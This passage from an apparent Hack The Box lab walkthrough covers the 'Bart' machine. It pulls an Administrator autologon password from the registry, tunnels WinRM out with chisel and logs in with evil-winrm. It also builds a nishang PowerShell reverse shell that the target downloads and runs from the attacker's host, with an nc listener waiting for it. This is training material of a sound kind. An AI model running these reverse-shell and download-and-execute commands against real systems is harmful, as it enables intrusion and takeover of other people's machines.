HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon AutoRestartShell REG_DWORD 0x1 Background REG_SZ 0 0 0 CachedLogonsCount REG_SZ 10 DebugServerCommand REG_SZ no DefaultDomainName REG_SZ DESKTOP-7I3S68E DefaultUserName REG_SZ Administrator DisableBackButton REG_DWORD 0x1 EnableSIHostIntegration REG_DWORD 0x1 ForceUnlockLogon REG_DWORD 0x0 LegalNoticeCaption REG_SZ LegalNoticeText REG_SZ PasswordExpiryWarning REG_DWORD 0x5 PowerdownAfterShutdown REG_SZ 0 PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16} ReportBootOk REG_SZ 1 Shell REG_SZ explorer.exe ShellCritical REG_DWORD 0x0 ShellInfrastructure REG_SZ sihost.exe SiHostCritical REG_DWORD 0x0 SiHostReadyTimeOut REG_DWORD 0x0 SiHostRestartCountLimit REG_DWORD 0x0 SiHostRestartTimeGap REG_DWORD 0x0 Userinit REG_SZ C:\Windows\system32\userinit.exe, VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile WinStationsDisabled REG_SZ 0 scremoveoption REG_SZ 0 DisableCAD REG_DWORD 0x1 LastLogOffEndTimePerfCounter REG_QWORD 0xcdbc433 ShutdownFlags REG_DWORD 0x8000022b AutoAdminLogon REG_SZ 1 DisableLockWorkstation REG_DWORD 0x0 EnableFirstLogonAnimation REG_DWORD 0x1 AutoLogonSID REG_SZ S-1-5-21-988671444-1802818203-1364644418-500 LastUsedUsername REG_SZ Administrator DefaultPassword REG_SZ 3130438f31186fbaf962f407711faddb
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShells HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\VolatileUserMgrKey

winrm shell with user administrator

Netstat tells us that Windows remote management service is listening, on the box.

C:\inetpub\wwwroot\internal-01\log>netstat -an
netstat -an

Active Connections
Proto Local Address Foreign Address State TCP 0.0.0.0:80 0.0.0.0:0 LISTENING TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING TCP 10.10.10.81:139 0.0.0.0:0 LISTENING TCP 10.10.10.81:49681 10.10.14.9:4444 ESTABLISHED TCP [::]:80 [::]:0 LISTENING TCP [::]:135 [::]:0 LISTENING TCP [::]:445 [::]:0 LISTENING TCP [::]:5985 [::]:0 LISTENING TCP [::]:47001 [::]:0 LISTENING TCP [::]:49664 [::]:0 LISTENING TCP [::]:49665 [::]:0 LISTENING TCP [::]:49666 [::]:0 LISTENING TCP [::]:49667 [::]:0 LISTENING TCP [::]:49668 [::]:0 LISTENING TCP [::]:49669 [::]:0 LISTENING TCP [::1]:5985 [::1]:49703 TIME_WAIT TCP [::1]:49696 [::1]:5985 TIME_WAIT TCP [::1]:49697 [::1]:5985 TIME_WAIT TCP [::1]:49705 [::1]:5985 TIME_WAIT TCP [::1]:49706 [::1]:5985 TIME_WAIT UDP 0.0.0.0:123 *:* UDP 0.0.0.0:500 *:* UDP 0.0.0.0:4500 *:* UDP 0.0.0.0:5050 *:* UDP 0.0.0.0:5353 *:* UDP 0.0.0.0:5355 *:* UDP 10.10.10.81:137 *:* UDP 10.10.10.81:138 *:* UDP 10.10.10.81:1900 *:* UDP 10.10.10.81:50390 *:* UDP 127.0.0.1:1900 *:* UDP 127.0.0.1:50391 *:* UDP [::]:123 *:* UDP [::]:500 *:* UDP [::]:4500 *:* UDP [::1]:1900 *:* UDP [::1]:50389 *:*

But the firewall doesn't allow direct access. We need to create a port forwarding to access the service. We copy the chisel executable into the target.

u505@naos:~/HTB/Machines/Bart$ cp /opt/utils/chisel/chisel_1.7.4_windows_amd64.exe web/

Download it from our web server.

C:\inetpub\wwwroot\internal-01\log>powershell -c "Invoke-WebRequest -Uri http://10.10.14.9/chisel_1.7.4_windows_amd64.exe -OutFile chisel.exe
powershell -c "Invoke-WebRequest -Uri http://10.10.14.9/chisel_1.7.4_windows_amd64.exe -OutFile chisel.exe

We start the server on our machine.

u505@naos:~/HTB/Machines/Bart$ /opt/utils/chisel/chisel_1.7.4_linux_amd64 server --reverse --port 4445
2021/01/19 23:57:25 server: Reverse tunnelling enabled
2021/01/19 23:57:25 server: Fingerprint N8o7CUwJh/bOWRVm2rlD+JCrznCq638Vj5EAbMZ6Xwo=
2021/01/19 23:57:25 server: Listening on http://0.0.0.0:4445

And start the client from the target.

C:\inetpub\wwwroot\internal-01\log>chisel.exe client 10.10.14.9:4445 R:5985:127.0.0.1:5985
chisel.exe client 10.10.14.9:4446 R:5985:127.0.0.1:5985
2021/01/20 05:11:22 client: Connecting to ws://10.10.14.9:4445
2021/01/20 05:11:23 client: Connected (Latency 39.5679ms)

We check if we access the winrm service.

u505@naos:~/HTB/Machines/Bart$ crackmapexec winrm 127.0.0.1/32 -u administrator -p '3130438f31186fbaf962f407711faddb'
WINRM       127.0.0.1       5985   NONE             [*] None (name:127.0.0.1) (domain:None)
WINRM       127.0.0.1       5985   NONE             [*] http://127.0.0.1:5985/wsman
WINRM       127.0.0.1       5985   NONE             [+] None\administrator:3130438f31186fbaf962f407711faddb (Pwn3d!)

Access the server with evil-winrm

u505@naos:~/HTB/Machines/Bart$ evil-winrm -i 127.0.0.1 -u administrator -p '3130438f31186fbaf962f407711faddb'

Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami bart\administrator

We can access the root and user flag.

*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
<ROOT_FLAG>
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd ..
*Evil-WinRM* PS C:\Users> cd h.potter
*Evil-WinRM* PS C:\Users\h.potter> type user.txt
<USER_FLAG>

Alternative powershell administrator reverse shell

We copy the nishang's reverse shell to our web server.

u505@naos:~/HTB/Machines/Bart/web$ cp /usr/share/windows-resources/nishang/Shells/Invoke-PowerShellTcp.ps1 ./

Add the invocation to our machine at the end of the script block.

u505@naos:~/HTB/Machines/Bart/web$ tail Invoke-PowerShellTcp.ps1
            $listener.Stop()
        }
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
        Write-Error $_
    }
}
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.9 -Port 4446

Start a listener.

u505@naos:~/HTB/Machines/Bart$ rlwrap nc -lnvp 4446
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4446
Ncat: Listening on 0.0.0.0:4446

Create a second script to call our reverse shell script with the user administrator. Because WnRM port is listening, Invoke-Command should work with the remote computer localhost.

u505@naos:~/HTB/Machines/Bart/web$ cat creds.ps1
$pass = ConvertTo-SecureString '3130438f31186fbaf962f407711faddb' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('BART\Administrator',$pass)
Invoke-Command -ScriptBlock {IEX(New-Object Net.webclient).downloadString('http://10.10.14.9/Invoke-PowerShellTcp.ps1')} -Credential $cred -ComputerName localhost

From our target we download and execute the powershell script that should download the reverse shell too.

C:\inetpub\wwwroot\internal-01\log>powershell -ExecutionPolicy Bypass -c "IEX(New-Object Net.webclient).downloadString('http://10.10.14.9/creds.ps1')"
powershell -ExecutionPolicy Bypass -c "IEX(New-Object Net.webclient).downloadString('http://10.10.14.9/creds.ps1')"

And we obtain the reverse shell as administrator

u505@naos:~/HTB/Machines/Bart$ rlwrap nc -lnvp 4446
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4446
Ncat: Listening on 0.0.0.0:4446
Ncat: Connection from 10.10.10.81.
Ncat: Connection from 10.10.10.81:49700.
Windows PowerShell running as user Administrator on BART
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator\Documents> whoami bart\administrator

References

Daniel Simao 09:01, 20 January 2021 (EST)